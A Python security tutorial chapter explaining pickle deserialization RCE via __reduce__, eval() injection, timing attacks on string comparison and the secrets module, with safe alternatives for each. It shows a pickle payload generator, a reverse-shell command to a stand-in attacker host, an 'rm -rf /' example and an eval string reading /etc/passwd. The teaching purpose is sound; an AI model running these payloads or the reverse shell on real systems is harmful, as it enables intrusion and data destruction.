Python Security: Dangerous Deserialization, eval() & Constant-Time Secrets

Writing secure Python applications requires identifying language-specific security vulnerabilities: Dangerous Object Deserialization (pickle.loads()), arbitrary code execution via eval() / exec(), Timing Attacks on string comparison, and improper random number generation.

This chapter details pickle Remote Code Execution (RCE) via __reduce__, safe serialization alternatives (json, msgpack, Pydantic), constant-time hash comparisons (hmac.compare_digest), and secrets module cryptography.


1. Dangerous Object Deserialization: pickle.loads() RCE

CPython’s pickle module is NOT SECURE against erroneous or maliciously constructed data!

When pickle.loads(payload) deserializes a byte stream, it automatically invokes the object’s __reduce__() dunder method. An attacker can construct a malicious pickle byte string that executes arbitrary OS system commands (os.system("rm -rf /")) upon deserialization!

Pickle Remote Code Execution (RCE) Exploit Mechanics:

[ Malicious Pickle Byte Stream ] ──> Passed to: pickle.loads(stream)
                                            |
                                            v (CPython executes object's __reduce__() hook)
[ Calls: os.system("bash -i >& /dev/tcp/attacker/4444 0>&1") ]
                                            |
                                            v
[ ATTACKER OBTAINS REMOTE INTERACTIVE SHELL ON PYTHON SERVER! ]
# Malicious Pickle Payload Generator
import pickle
import os

class RCEExploit:
    def __reduce__(self):
        # __reduce__ returns a tuple: (callable, arguments_tuple)
        # pickle.loads() AUTOMATICALLY CALLS os.system("command") ON UNPICKLING!
        return (os.system, ("echo 'HACKED!'; id",))

# Attacker sends this byte payload over HTTP request body
malicious_bytes = pickle.dumps(RCEExploit())

# ❌ CRITICAL VULNERABILITY: Unpickling untrusted network input triggers RCE!
# pickle.loads(malicious_bytes)

SECURE ALTERNATIVE: Never use pickle for network communication or caching user data! Use json, msgpack, or Pydantic models.


2. Dynamic Code Execution Hazards (eval() / exec())

Evaluating raw strings using eval() or exec() allows attackers to break out of sandboxes via CPython introspection (__subclasses__):

# ❌ CRITICAL VULNERABILITY: eval() allows RCE!
user_input = "__import__('os').system('cat /etc/passwd')"
eval(user_input)  # EXECUTES OS SYSTEM COMMAND!

Safe Mathematical Expression Parsing (ast.literal_eval):

If you must parse raw literals (dicts, lists, tuples, ints, strings), use ast.literal_eval():

import ast

# ✅ SAFE: ast.literal_eval ONLY parses literal structures; raises ValueError on code!
data = ast.literal_eval("[1, 2, {'a': 3}]")

3. Timing Attacks & Constant-Time String Comparison

Standard string comparison (a == b) terminates early on the first non-matching character:

# Standard String Comparison (Vulnerable to Timing Attacks!)
"secret_token_12345" == "a----------------" # Fails at index 0 (~0.001ms)
"secret_token_12345" == "s----------------" # Fails at index 1 (~0.002ms)

An attacker measuring sub-microsecond response latencies can guess secret tokens character-by-character based on execution time!

Production Fix: hmac.compare_digest()

Use hmac.compare_digest() for comparing API keys, secret tokens, and password hashes. It executes in constant time, regardless of how many leading characters match:

import hmac

# ✅ SECURE: Compares strings in CONSTANT TIME, preventing timing side-channel attacks!
is_valid = hmac.compare_digest(user_provided_token, expected_token)

4. Cryptographic Randomness (secrets vs. random)

Python’s built-in random module uses the Mersenne Twister algorithm. It is completely deterministic and NOT cryptographically secure! An attacker observing 624 outputs from random.randint() can predict all future random values!

Use the secrets module (which uses OS entropy /dev/urandom):

import secrets

# ✅ SECURE: Cryptographically secure random tokens for password resets and API keys!
reset_token = secrets.token_urlsafe(32)  # Generates 43-character URL-safe string
api_key = secrets.token_hex(32)           # Generates 64-character hex string
Display Options
Appearance
Text Size
100%